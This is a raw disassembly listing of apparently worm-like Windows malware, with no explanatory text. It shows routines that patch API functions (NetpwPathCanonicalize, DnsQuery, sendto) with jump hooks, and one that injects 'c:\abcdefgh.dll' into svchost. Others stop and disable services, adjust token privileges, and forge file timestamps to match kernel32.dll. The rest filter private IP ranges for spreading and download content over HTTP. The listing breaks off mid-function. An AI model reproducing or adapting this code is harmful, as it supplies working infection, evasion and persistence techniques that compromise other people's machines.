		cmp	cl, 0E8h
		jz	short loc_9A59E6
		cmp	al, 0FFh
		jnz	short loc_9A59DA
		mov	al, [esi+ebx+5]
		cmp	al, 25h
		jz	short loc_9A59E6
		cmp	al, 15h
		jz	short loc_9A59E6


loc_9A59DA:				; CODE XREF: sub_9A5938+94j
		mov	eax, [ebp+var_40]
		add	ebx, eax
		mov	[esi], ebx
		mov	[ebp+var_44], ebx
		jmp	short loc_9A5995
; ---------------------------------------------------------------------------


loc_9A59E6:				; CODE XREF: sub_9A5938+90j
					; sub_9A5938+9Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_9A5A81
; ---------------------------------------------------------------------------


loc_9A59F1:				; CODE XREF: sub_9A5938+60j
		lea	eax, [esi+ebx]
		mov	byte ptr [eax+4], 0E9h
		mov	edx, [esi]
		sub	edx, esi
		sub	edx, ebx
		mov	ecx, [ebp+lpAddress]
		lea	edx, [edx+ecx-9]
		mov	[eax+5], edx
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	ecx		; lpAddress
		mov	ebx, VirtualProtect
		call	ebx ; VirtualProtect
		test	eax, eax
		jz	short loc_9A5A7A
		mov	[ebp+Src], 0E9h
		sub	edi, [ebp+lpAddress]
		sub	edi, 5
		mov	[ebp+var_23], edi
		push	0Fh		; nPriority
		push	[ebp+hThread]	; hThread
		mov	edi, SetThreadPriority
		call	edi ; SetThreadPriority
		push	5		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+lpAddress]	; Dst
		call	memcpy
		add	esp, 0Ch
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	edi ; SetThreadPriority
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	[ebp+flOldProtect] ; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ebx ; VirtualProtect
		mov	[ebp+var_34], 1
		jmp	short loc_9A5A7A
; ---------------------------------------------------------------------------


loc_9A5A67:				; DATA XREF: .text:stru_9A2920o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5A6B:				; DATA XREF: .text:stru_9A2920o
		mov	esp, [ebp+ms_exc.old_esp]
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	SetThreadPriority


loc_9A5A7A:				; CODE XREF: sub_9A5938+E3j
					; sub_9A5938+12Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_34]


loc_9A5A81:				; CODE XREF: sub_9A5938+B4j
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5A91(LPCSTR	lpLibFileName,LPCSTR lpProcName,int)

sub_9A5A91	proc near		; CODE XREF: sub_9A5B0F+15p
					; sub_9A5B2E+15p ...

var_4		= dword	ptr -4
lpLibFileName	= dword	ptr  8
lpProcName	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		test	esi, esi
		jz	short loc_9A5B0B
		cmp	dword ptr [esi], 0
		jnz	short loc_9A5B0B
		push	[ebp+lpLibFileName] ; lpModuleName
		call	GetModuleHandleA
		test	eax, eax
		jnz	short loc_9A5ABC
		push	[ebp+lpLibFileName] ; lpLibFileName
		call	LoadLibraryA
		test	eax, eax
		jz	short loc_9A5B06


loc_9A5ABC:				; CODE XREF: sub_9A5A91+1Cj
		push	edi
		push	[ebp+lpProcName] ; lpProcName
		push	eax		; hModule
		call	GetProcAddress
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A5B05
		push	40h		; flProtect
		push	103000h		; flAllocationType
		push	2Ch		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc
		test	eax, eax
		mov	[esi], eax
		jz	short loc_9A5B05
		mov	edx, [ebp+arg_8]
		push	eax		; Dst
		mov	ecx, edi
		call	sub_9A5938
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_9A5B05
		push	8000h		; dwFreeType
		push	eax		; dwSize
		push	dword ptr [esi]	; lpAddress
		call	VirtualFree


loc_9A5B05:				; CODE XREF: sub_9A5A91+3Aj
					; sub_9A5A91+51j ...
		pop	edi


loc_9A5B06:				; CODE XREF: sub_9A5A91+29j
		mov	eax, [ebp+var_4]
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A5B0B:				; CODE XREF: sub_9A5A91+Aj
					; sub_9A5A91+Fj
		xor	eax, eax
		leave
		retn
sub_9A5A91	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B0F	proc near		; CODE XREF: sub_9A3C63+1C3p
					; sub_9A3C63+1F1p
		push	esi
		push	offset sub_9A52FE ; int
		push	offset aNetpwpathcanon ; "NetpwPathCanonicalize"
		push	offset dword_9A292C ; lpLibFileName
		mov	esi, offset dword_9BB2E8
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5B0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B2E	proc near		; CODE XREF: sub_9A3C63+25p
		push	esi
		push	offset sub_9A535E ; int
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		mov	esi, offset dword_9BB2EC
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5B2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B4D	proc near		; CODE XREF: sub_9A3C63+206p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset sub_9A53E9 ; int
		push	offset aDnsquery_a ; "DnsQuery_A"
		mov	edi, offset aDnsapi_dll	; "dnsapi.dll"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F0
		call	sub_9A5A91
		push	offset sub_9A54C1 ; int
		push	offset aDnsquery_utf8 ;	"DnsQuery_UTF8"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F4
		mov	ebx, eax
		call	sub_9A5A91
		push	offset sub_9A556B ; int
		push	offset aDnsquery_w ; "DnsQuery_W"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F8
		mov	ebp, eax
		call	sub_9A5A91
		push	offset loc_9A5623 ; int
		push	offset aQuery_main ; "Query_Main"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2FC
		mov	[esp+44h+var_4], eax
		call	sub_9A5A91
		xor	eax, eax
		add	esp, 30h
		cmp	ebx, eax
		jz	short loc_9A5BC7
		cmp	ebp, eax
		jz	short loc_9A5BC7
		cmp	[esp+14h+var_4], eax
		jz	short loc_9A5BC7
		inc	eax


loc_9A5BC7:				; CODE XREF: sub_9A5B4D+6Dj
					; sub_9A5B4D+71j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_9A5B4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5BCD	proc near		; CODE XREF: sub_9A3C63+1C8p
		push	offset ModuleName ; "dnsrslvr.dll"
		call	GetModuleHandleA
		test	eax, eax
		mov	dword_9BB308, eax
		jnz	short loc_9A5BE2
		retn
; ---------------------------------------------------------------------------


loc_9A5BE2:				; CODE XREF: sub_9A5BCD+12j
		push	esi
		push	offset sub_9A58BD ; int
		push	offset aSendto	; "sendto"
		push	offset aWs2_32_dll ; "ws2_32.dll"
		mov	esi, offset dword_9BB300
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C01	proc near		; CODE XREF: StartAddress:loc_9A3B78p
		push	esi
		xor	esi, esi


loc_9A5C04:				; CODE XREF: sub_9A5C01+21j
		push	offset aSvchost_exeKNe ; "svchost.exe -k NetworkService"
		call	sub_9A66EF
		test	eax, eax
		pop	ecx
		jnz	short loc_9A5C26
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9A5C04
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A5C26:				; CODE XREF: sub_9A5C01+10j
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	eax		; dwProcessId
		call	sub_9A642B
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9A5C01	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C35	proc near		; CODE XREF: StartAddress+8Cp
		push	esi
		xor	esi, esi


loc_9A5C38:				; CODE XREF: sub_9A5C35+21j
		push	offset aServ	; "serv!"
		call	sub_9A638D
		test	eax, eax
		pop	ecx
		jnz	short loc_9A5C5A
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9A5C38
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A5C5A:				; CODE XREF: sub_9A5C35+10j
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	eax		; dwProcessId
		call	sub_9A642B
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9A5C35	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C69	proc near		; CODE XREF: StartAddress:loc_9A3B56p
		push	esi
		push	offset sub_9A58F0 ; int
		push	offset aInternetgetc_0 ; "InternetGetConnectedState"
		push	offset aWininet_dll ; "wininet.dll"
		mov	esi, offset dword_9BB304
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5C69	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C88	proc near		; CODE XREF: sub_9A4033+7p
					; sub_9A857A+1E9p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	edx, ecx
		and	edx, 0FFFFh
		inc	eax
		cmp	edx, 0A8C0h
		jz	short loc_9A5CB2
		cmp	cl, 0Ah
		jz	short loc_9A5CB2
		and	ecx, 0F0FFh
		cmp	ecx, 10ACh
		jnz	short locret_9A5CB4


loc_9A5CB2:				; CODE XREF: sub_9A5C88+15j
					; sub_9A5C88+1Aj
		xor	eax, eax

locret_9A5CB4:				; CODE XREF: sub_9A5C88+28j
		retn
sub_9A5C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5CB5	proc near		; CODE XREF: sub_9A857A+1DAp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		and	ecx, 0FFh
		xor	eax, eax
		cmp	ecx, 7Fh
		jz	short loc_9A5D18
		test	ecx, ecx
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FFFFh
		cmp	ecx, 0FEA9h
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FEFFh
		cmp	ecx, 12C6h
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FFFFFFh
		cmp	ecx, 0FFFFFDh
		jz	short loc_9A5D18
		mov	ecx, esi
		mov	edx, 0F0h
		and	ecx, edx
		cmp	ecx, 0E0h
		jz	short loc_9A5D18
		cmp	ecx, edx
		jz	short loc_9A5D18
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A5D18
		inc	eax


loc_9A5D18:				; CODE XREF: sub_9A5CB5+12j
					; sub_9A5CB5+16j ...
		pop	esi
		retn
sub_9A5CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5D1A	proc near		; CODE XREF: sub_9A3715+4Dp
					; sub_9A394B+4Ep ...

PerformanceCount= LARGE_INTEGER	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		call	GetCurrentThreadId
		mov	esi, eax
		call	GetCurrentProcessId
		mov	edi, eax
		lea	eax, [ebp+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		test	eax, eax
		jnz	short loc_9A5D49
		and	dword ptr [ebp+PerformanceCount+4], eax
		mov	dword ptr [ebp+PerformanceCount], 4362AEB0h


loc_9A5D49:				; CODE XREF: sub_9A5D1A+23j
		call	GetTickCount
		xor	eax, dword ptr [ebp+PerformanceCount]
		xor	eax, edi
		xor	eax, esi
		push	eax		; Seed
		call	srand
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_9A5D1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5D62(LPCSTR	lpServiceName)

sub_9A5D62	proc near		; CODE XREF: sub_9A39CF+7p
					; sub_9A39CF+13p ...

ServiceStatus	= _SERVICE_STATUS ptr -24h
hSCObject	= dword	ptr -8
var_4		= dword	ptr -4
lpServiceName	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		xor	esi, esi
		push	0F003Fh		; dwDesiredAccess
		push	esi		; lpDatabaseName
		push	esi		; lpMachineName
		mov	[ebp+var_4], esi
		call	OpenSCManagerA
		cmp	eax, esi
		mov	[ebp+hSCObject], eax
		jz	short loc_9A5DF4
		push	ebx
		push	edi
		push	20027h		; dwDesiredAccess
		push	[ebp+lpServiceName] ; lpServiceName
		push	eax		; hSCManager
		call	OpenServiceA
		mov	ebx, CloseServiceHandle
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A5DED
		lea	eax, [ebp+ServiceStatus]
		push	eax		; lpServiceStatus
		push	edi		; hService
		call	QueryServiceStatus
		test	eax, eax
		jz	short loc_9A5DD3
		cmp	[ebp+ServiceStatus.dwCurrentState], 1
		jz	short loc_9A5DD3
		lea	eax, [ebp+ServiceStatus]
		push	eax		; lpServiceStatus
		push	1		; dwControl
		push	edi		; hService
		call	ControlService
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_9A5DD3
		push	0FA0h		; dwMilliseconds
		call	Sleep


loc_9A5DD3:				; CODE XREF: sub_9A5D62+4Aj
					; sub_9A5D62+50j ...
		push	esi		; lpDisplayName
		push	esi		; lpPassword
		push	esi		; lpServiceStartName
		push	esi		; lpDependencies
		push	esi		; lpdwTagId
		push	esi		; lpLoadOrderGroup
		push	esi		; lpBinaryPathName
		push	0FFFFFFFFh	; dwErrorControl
		push	4		; dwStartType
		push	0FFFFFFFFh	; dwServiceType
		push	edi		; hService
		call	ChangeServiceConfigA
		or	[ebp+var_4], eax
		push	edi		; hSCObject
		call	ebx ; CloseServiceHandle


loc_9A5DED:				; CODE XREF: sub_9A5D62+3Bj
		push	[ebp+hSCObject]	; hSCObject
		call	ebx ; CloseServiceHandle
		pop	edi
		pop	ebx


loc_9A5DF4:				; CODE XREF: sub_9A5D62+1Ej
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn
sub_9A5D62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5DFA(LPCSTR	lpName,int)

sub_9A5DFA	proc near		; CODE XREF: sub_9A3C63+4Ap
					; sub_9A6E36+Bp

NewState	= _TOKEN_PRIVILEGES ptr	-14h
hObject		= dword	ptr -4
lpName		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		push	28h		; DesiredAccess
		xor	edi, edi
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	short loc_9A5E60
		mov	eax, [ebp+arg_4]
		neg	eax
		sbb	eax, eax
		and	eax, 2
		mov	[ebp+NewState.Privileges.Attributes], eax
		lea	eax, [ebp+NewState.Privileges]
		push	eax		; lpLuid
		push	[ebp+lpName]	; lpName
		mov	[ebp+NewState.PrivilegeCount], 1
		push	edi		; lpSystemName
		call	LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_9A5E57
		push	edi		; ReturnLength
		push	edi		; PreviousState
		push	10h		; BufferLength
		lea	eax, [ebp+NewState]
		push	eax		; NewState
		push	edi		; DisableAllPrivileges
		push	[ebp+hObject]	; TokenHandle
		call	AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_9A5E57
		inc	edi


loc_9A5E57:				; CODE XREF: sub_9A5DFA+44j
					; sub_9A5DFA+5Aj
		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9A5E60:				; CODE XREF: sub_9A5DFA+1Ej
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9A5DFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5E65	proc near		; CODE XREF: sub_9A3715+48p
					; sub_9A394B+46p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9A5E8D


loc_9A5E76:				; CODE XREF: sub_9A5E65+26j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_9A5E76


loc_9A5E8D:				; CODE XREF: sub_9A5E65+Fj
		mov	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A5E65	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5E95	proc near		; CODE XREF: sub_9A7E0F+97p
					; sub_9A7E0F+12Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9A5EBE


loc_9A5EA6:				; CODE XREF: sub_9A5E95+27j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	[ebx+esi*2], dx
		inc	esi
		cmp	esi, edi
		jl	short loc_9A5EA6


loc_9A5EBE:				; CODE XREF: sub_9A5E95+Fj
		and	word ptr [ebx+edi*2], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A5E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0A8h

; int __cdecl sub_9A5EC7(int,HANDLE hFile)

sub_9A5EC7	proc near		; CODE XREF: sub_9A3715+11Cp
					; sub_9A6056+68p

LastAccessTime	= _FILETIME ptr	-128h
CreationTime	= _FILETIME ptr	-120h
LastWriteTime	= _FILETIME ptr	-118h
hObject		= dword	ptr -110h
lpFileName	= dword	ptr -10Ch
FileName	= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
hFile		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-0A8h]
		sub	esp, 128h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	esi
		mov	[ebp+0A8h+var_4], eax
		mov	eax, [ebp+0A8h+arg_0]
		push	edi
		mov	edi, [ebp+0A8h+hFile]
		mov	[ebp+0A8h+lpFileName], eax
		push	104h		; nSize
		lea	eax, [ebp+0A8h+FileName]
		push	eax		; lpFilename
		push	offset aKernel32_dll ; "kernel32.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetModuleFileNameA
		mov	esi, CreateFileA
		xor	ebx, ebx
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	eax, [ebp+0A8h+FileName]
		push	eax		; lpFileName
		call	esi ; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+0A8h+hObject], eax
		jz	loc_9A5FB7
		lea	ecx, [ebp+0A8h+LastWriteTime]
		push	ecx		; lpLastWriteTime
		lea	ecx, [ebp+0A8h+LastAccessTime]
		push	ecx		; lpLastAccessTime
		lea	ecx, [ebp+0A8h+CreationTime]
		push	ecx		; lpCreationTime
		push	eax		; hFile
		call	GetFileTime
		push	[ebp+0A8h+hObject] ; hObject
		call	CloseHandle
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_9A5FA4
		push	[ebp+0A8h+lpFileName] ;	lpFileName
		call	GetFileAttributesA
		cmp	eax, edi
		jz	short loc_9A5F6E
		test	al, 10h
		jz	short loc_9A5F6E
		mov	eax, 2000000h
		jmp	short loc_9A5F70
; ---------------------------------------------------------------------------


loc_9A5F6E:				; CODE XREF: sub_9A5EC7+9Aj
					; sub_9A5EC7+9Ej
		xor	eax, eax


loc_9A5F70:				; CODE XREF: sub_9A5EC7+A5j
		push	ebx		; hTemplateFile
		push	eax		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	7		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+0A8h+lpFileName] ;	lpFileName
		call	esi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A5FB7
		lea	eax, [ebp+0A8h+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+0A8h+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+0A8h+CreationTime]
		push	eax		; lpCreationTime
		push	esi		; hFile
		call	SetFileTime
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A5FB7
; ---------------------------------------------------------------------------


loc_9A5FA4:				; CODE XREF: sub_9A5EC7+8Dj
		lea	eax, [ebp+0A8h+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+0A8h+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+0A8h+CreationTime]
		push	eax		; lpCreationTime
		push	edi		; hFile
		call	SetFileTime


loc_9A5FB7:				; CODE XREF: sub_9A5EC7+68j
					; sub_9A5EC7+BFj ...
		mov	ecx, [ebp+0A8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0A8h
		leave
		retn
sub_9A5EC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5FCF(int,LPCSTR lpFileName)

sub_9A5FCF	proc near		; CODE XREF: sub_9A3715+C1p

var_C		= dword	ptr -0Ch
hObject		= dword	ptr -8
NumberOfBytesRead= dword ptr -4
arg_0		= dword	ptr  8
lpFileName	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_C], esi
		call	CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	short loc_9A6050
		push	ebx
		push	edi
		push	esi		; lpFileSizeHigh
		push	eax		; hFile
		call	GetFileSize
		mov	edi, eax
		push	edi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9A6045
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nNumberOfBytesToRead
		push	ebx		; lpBuffer
		push	[ebp+hObject]	; hFile
		mov	[ebp+NumberOfBytesRead], esi
		call	ReadFile
		test	eax, eax
		jz	short loc_9A603E
		cmp	[ebp+NumberOfBytesRead], edi
		jnz	short loc_9A603E
		cmp	[ebp+NumberOfBytesRead], esi
		jz	short loc_9A603E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], ebx
		mov	[eax], edi
		jmp	short loc_9A6045
; ---------------------------------------------------------------------------


loc_9A603E:				; CODE XREF: sub_9A5FCF+59j
					; sub_9A5FCF+5Ej ...
		push	ebx		; hMem
		call	GlobalFree


loc_9A6045:				; CODE XREF: sub_9A5FCF+42j
					; sub_9A5FCF+6Dj
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	edi
		pop	ebx


loc_9A6050:				; CODE XREF: sub_9A5FCF+27j
		mov	eax, [ebp+var_C]
		pop	esi
		leave
		retn
sub_9A5FCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6056(LPCVOID lpBuffer,DWORD	nNumberOfBytesToWrite,LPCSTR lpFileName)

sub_9A6056	proc near		; CODE XREF: sub_9A3715+DCp

NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch
lpFileName	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_4], esi
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A60D0
		push	ebx
		push	edi		; hFile
		mov	[ebp+NumberOfBytesWritten], esi
		call	SetEndOfFile
		mov	ebx, [ebp+nNumberOfBytesToWrite]
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	ebx		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	edi		; hFile
		call	WriteFile
		test	eax, eax
		jz	short loc_9A60AC
		cmp	[ebp+NumberOfBytesWritten], ebx
		jnz	short loc_9A60AC
		mov	[ebp+var_4], 1


loc_9A60AC:				; CODE XREF: sub_9A6056+48j
					; sub_9A6056+4Dj
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+var_4], esi
		pop	ebx
		jz	short loc_9A60C7
		push	0FFFFFFFFh	; hFile
		push	[ebp+lpFileName] ; int
		call	sub_9A5EC7
		pop	ecx
		pop	ecx
		jmp	short loc_9A60D0
; ---------------------------------------------------------------------------


loc_9A60C7:				; CODE XREF: sub_9A6056+61j
		push	[ebp+lpFileName] ; lpFileName
		call	DeleteFileA


loc_9A60D0:				; CODE XREF: sub_9A6056+26j
					; sub_9A6056+6Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_9A6056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3B4h


sub_9A60D7	proc near		; CODE XREF: sub_9A8179+10p

dwFlags		= dword	ptr -434h
var_430		= dword	ptr -430h
dwIndex		= dword	ptr -42Ch
var_428		= dword	ptr -428h
Buffer		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
hInternet	= dword	ptr -418h
dwBufferLength	= dword	ptr -414h
var_410		= dword	ptr -410h
Size		= dword	ptr -40Ch
hMem		= dword	ptr -408h
szAgent		= byte ptr -404h
var_403		= byte ptr -403h
var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-3B4h]
		sub	esp, 434h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+3B4h+lpszUrl]
		push	esi
		xor	eax, ebp
		mov	esi, 10000h
		mov	[ebp+3B4h+var_4], eax
		mov	eax, [ebp+3B4h+arg_4]
		and	dword ptr [eax], 0
		push	esi		; dwBytes
		push	40h		; uFlags
		mov	[ebp+3B4h+var_41C], eax
		mov	[ebp+3B4h+Size], esi
		call	GlobalAlloc
		test	eax, eax
		mov	[ebp+3B4h+hMem], eax
		jz	loc_9A628C
		push	0		; dwReserved
		lea	eax, [ebp+3B4h+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9A628C
		push	edi		; dwNumberOfBytesToRead
		xor	eax, eax
		mov	[ebp+3B4h+szAgent], 0
		mov	ecx, 0FFh
		lea	edi, [ebp+3B4h+var_403]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+3B4h+dwBufferLength]
		push	eax		; cbSize
		lea	eax, [ebp+3B4h+szAgent]
		push	eax		; pszUAOut
		xor	edi, edi
		push	edi		; dwOption
		mov	[ebp+3B4h+dwBufferLength], 400h
		call	ObtainUserAgentString
		xor	eax, eax
		cmp	[ebp+3B4h+arg_8], edi
		push	edi		; dwFlags
		setnz	al
		push	edi		; lpszProxyBypass
		push	edi		; lpszProxy
		push	eax		; dwAccessType
		lea	eax, [ebp+3B4h+szAgent]
		push	eax		; lpszAgent
		call	InternetOpenA
		cmp	eax, edi
		mov	[ebp+3B4h+hInternet], eax
		jz	loc_9A628B
		call	GetTickCount
		push	edi		; dwContext
		push	84080300h	; dwFlags
		push	edi		; dwHeadersLength
		push	edi		; lpszHeaders
		push	ebx		; lpszUrl
		push	[ebp+3B4h+hInternet] ; hInternet
		mov	[ebp+3B4h+var_428], eax
		call	InternetOpenUrlA
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+3B4h+var_420], ebx
		jz	loc_9A6282
		lea	eax, [ebp+3B4h+dwIndex]
		push	eax		; lpdwIndex
		lea	eax, [ebp+3B4h+dwBufferLength]
		push	eax		; lpdwBufferLength
		lea	eax, [ebp+3B4h+Buffer]
		push	eax		; lpBuffer
		push	20000013h	; dwInfoLevel
		push	ebx		; hRequest
		mov	[ebp+3B4h+Buffer], 1F4h
		mov	[ebp+3B4h+dwIndex], edi
		mov	[ebp+3B4h+dwBufferLength], 4
		call	HttpQueryInfoA
		test	eax, eax
		jz	loc_9A6279
		cmp	[ebp+3B4h+Buffer], 0C8h
		jnz	loc_9A6279
